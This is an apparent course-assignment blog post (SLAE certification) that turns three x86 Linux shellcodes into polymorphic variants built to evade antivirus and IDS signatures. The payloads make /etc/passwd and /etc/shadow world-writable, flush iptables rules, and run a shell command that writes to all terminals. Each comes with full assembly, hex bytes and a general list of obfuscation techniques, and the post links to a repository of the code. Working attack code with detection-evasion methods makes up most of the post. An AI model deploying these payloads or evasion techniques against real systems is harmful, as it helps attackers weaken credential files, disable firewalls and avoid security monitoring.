In the sixth assignment of the Securitytube Linux Assembly Expert 32-bit, I had to create polymorphic versions of three shellcode from the http://shell-storm.org/shellcode/. The three shellcodes I chose are:

  1. Linux x86 chmod 666 /etc/passwd & /etc/shadow – 57 bytes
  2. Linux/x86 – sends Phuck3d! to all terminals – 60 bytes
  3. Linux/x86 iptables –flush 43 bytes

Polymorphism means that we transform the shellcode, so that it has the same functionality, but its signature is different. The purpose of doing this is to avoid AV and IDS detection. These softwares contain database of patterns of shellcodes and use pattern recognition to detect them.

Creating polymorphic version of any shellcode can be achieved by the combination of the following:

  • Insert junk data and instructions into the shellcode
  • Use different registers
  • Use different instructions to achieve the same functionality
  • Create values and strings with mathematical functions
  • Change the order of instructions
  • Use rarely used instruction sets, like MMX, SSE, etc.

 


1. Linux x86 chmod 666 /etc/passwd & /etc/shadow

The assembly code can be generated with this command:

echo -ne “\x31\xc0\x66\xb9\xb6\x01\x50\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61
\x68\x2f\x65\x74\x63\x89\xe3\xb0\x0f\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77
\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\xb0\x0f\xcd\x80\x31\xc0\x40
\xcd\x80″ | ndisasm -u –

00000000  31C0              xor eax,eax
00000002  66B9B601          mov cx,0x1b6
00000006  50                push eax
00000007  6873737764        push dword 0x64777373
0000000C  682F2F7061        push dword 0x61702f2f
00000011  682F657463        push dword 0x6374652f
00000016  89E3              mov ebx,esp
00000018  B00F              mov al,0xf
0000001A  CD80              int 0x80
0000001C  31C0              xor eax,eax
0000001E  50                push eax
0000001F  6861646F77        push dword 0x776f6461
00000024  682F2F7368        push dword 0x68732f2f
00000029  682F657463        push dword 0x6374652f
0000002E  89E3              mov ebx,esp
00000030  B00F              mov al,0xf
00000032  CD80              int 0x80
00000034  31C0              xor eax,eax
00000036  40                inc eax
00000037  CD80              int 0x80

First let us try to optimize the code.

  1. In the line 6 and 14, the same value is pushed onto the stack. We can initialize a register, for example the EDI register with this value, then PUSH EDI.
  2. Line 8-9-10 and 16-17-18 are the same. We can create a method and move the instructions into it.

Finally, line 2, 4, 5, 12, 13 should be changed as they contain constant values.

Initialization of CX in line 2 can be changed, so that we initialize with the inverse value, then perform a NOT operation on it.

For the values in the 4, 5, 12, 13 I used the ADD, XOR, and NOT instructions. The value of EDI register can be used as an input for mathematical operations, too.

 

The polymorphic version of the shellcode:

global _start

section .text

_start:
	mov edi, 0x6374652f	; '/etc'
	jmp shellcode

chmod:
	mov al,0xf
	int 0x80		    ; syscall = 15 (chmod)
	xor eax, eax
	ret

shellcode:
	xor eax,eax
	mov ecx, 0xfffffe49
	not ecx			    ; 0x64777373 = not 0xfffffe49
	push eax
	mov edx, 0x01030E44
	add edx, edi		; 0x61702f2f = 0x01030E44 + 0x6374652f
	push edx
	mov edx, 0x1702f2f6
	ror edx, 4
	push edx
	push edi
	mov ebx,esp		    ; '/etc//passwd'
	call chmod

	push eax
	mov ebx, 0x141b014e
	xor ebx, edi		; 0x776f6461 = 0x141b014e xor 0x6374652f
	push ebx
	mov ebx, 0x978cd0d0
	not ebx			    ; 0x68732f2f = not 0x978cd0d0
	push ebx
	push edi
	mov ebx,esp		    ; '/etc//shadow'
	call chmod

	inc eax
	int 0x80		    ; syscall = 1 (exit)

The original size of the shellcode was 57 bytes. The polymorphic version is 77 bytes.

poly1

 


2. Linux/x86 – sends Phuck3d! to all terminals – 60 bytes

This shellcode is quite simple. It only contains one execve syscall. However, there are strings which should be obfuscated somehow.

The original shellcode:

global _start

section .text

_start:
	; execve syscall
	; eax = 11 (execve), ebx = address of '/bin//sh'
	;   ecx =maddress of args
	push byte 11
	pop eax
	cltd

	; esi = 'echo Phuck3d! | wall'
	push edx
	push 0x6c6c6177
	push 0x207c2021
	push 0x64336b63
	push 0x75685020
	push 0x6f686365
	mov esi, esp

	push edx
	push word 0x632d
	mov ecx, esp

	; ebx = '/bin//sh'
	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp

	push edx
	push esi
	push ecx
	push ebx
	mov ecx, esp

	int 0x80

 

I used the following iteration to create polymorphic shellcode:

  1. The first thing we can try is to move the initialization of EAX register to the end of the shellcode.
  2. The PUSH EDX can be replaced with PUSH EDI and the CLDI instruction can be removed.
  3. The EDI can be used instead of ESI, and ESI can be used instead of EDI.
  4. When the ECX is used for the first time, EDX can be used instead.
  5. The string constants usage can be modified the following way: create the values as a result of mathematical operation. Bit rotating can also be used.

 

The polymorphic version of the shellcode:

global _start

section .text

_start:
	; execve syscall
	; eax = 11 (execve), ebx = address of '/bin//sh'
	;   ecx =maddress of args


	; esi = 'echo Phuck3d! | wall'
	push esi
	mov eax, 0x22222222
	add eax, 0x4a4a3f55
	push eax
	add eax, 0xb40fbeaa
	push eax
	add eax, 0x43b74b42
	push eax
	add eax, 0x1134e4bd
	push eax
	mov eax, 0xf6863656
	ror eax, 4
	push eax
	mov edi, esp

	push esi
	push word 0x632d
	mov edx, esp

	; ebx = '/bin//sh'
	push esi
	mov eax, 0xf68732f2
	rol eax, 4
	push eax
	mov eax, 0xf6e69622
	rol eax, 4
	push eax
	mov ebx, esp

	push esi
	push edi
	push edx
	push ebx
	mov ecx, esp

	push byte 11
	pop eax
	int 0x80

The original size was 60 bytes. The polymorphic version is 80 bytes.

 


3. Linux/x86 iptables –flush 43 bytes

Creating polymorphic shellcodes is quite simple now as I follow the same steps.

First I converted the shellcode with ndisasm:

echo -ne “\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6\x50\x68\x62\x6c\x65\x73\x68\x69\x70
\x74\x61\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x50\x56\x53\x89\xe1\x89\xc2
\xb0\x0b\xcd\x80″ | ndisasm -u –

The original shellcode:

global _start

section .text

_start:
	xor eax,eax
	push eax
	push word 0x462d
	mov esi, esp
	push eax
	push dword 0x73656c62
	push dword 0x61747069
	push dword 0x2f6e6962
	push dword 0x732f2f2f
	mov ebx, esp
	push eax
	push esi
	push ebx
	mov ecx, esp
	mov edx, eax
	mov al, 11
	int 0x80

 

The next step is to understand the shellcode.

  • The first four instructions pushes the 0x0000462d value onto the stack and stores the address of ESP into the ESI register.
  • The next six instructions stores the ‘///sbin/iptables’ on the stack and the address is stored in the EBX register.
  • The next four instructions creates a structure on the stack. The first value is the address of the ‘///sbin/iptables’ string. The next value is the address of the 0x0000462d value. The third value is zero.
  • Then we store zero in the EDX.
  • Finally we set EAX to 11 and make a syscall.

 

The steps to create a polymorphic shellcode (I recommend to modify the source code in small steps, so that the final code is reached in several iterations. This can minimize the possible mistakes.):

  • First replace the PUSH instructions where the string is created. As the size is very small, we should take care of what instructions we use. I used the NOT, ROL and ROR instructions.
  • In the next step replace the used registers with different ones. For example use ECX instead of EDX, and use EDI instead of ESI.
  • Finally replace instructions with equivalent ones. For example use ADD, OR instead of MOV.

As the shellcode is very small, we cannot do more. The original shellcode was 43 bytes, the polymorphic one is 57 bytes. The source code:

global _start

section .text

_start:
	xor eax,eax
	push eax
	push word 0x462d
	mov edi, esp
	push eax
	mov edx, 0x8c9a939d
	not edx
	push edx
	mov edx, 0x17470696
	ror edx, 4
	push edx
	mov ecx, 0x22f6e696
	rol ecx, 4
	push ecx
	mov edx, 0x8cd0d0d0
	not edx
	push edx
	mov ebx, esp
	push eax
	push edi
	push ebx
	mov ecx, esp
	mov edx, eax
	or al, 11
	int 0x80

 

As it can be seen, the polymorphic version does not contain any recognizable string.

poly3

 

 


 

 

*  *  *  *  *

The source code can be found on github:

https://github.com/sh3llc0d3r1337/SLAE32-polymorphic-shellcodes

 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-691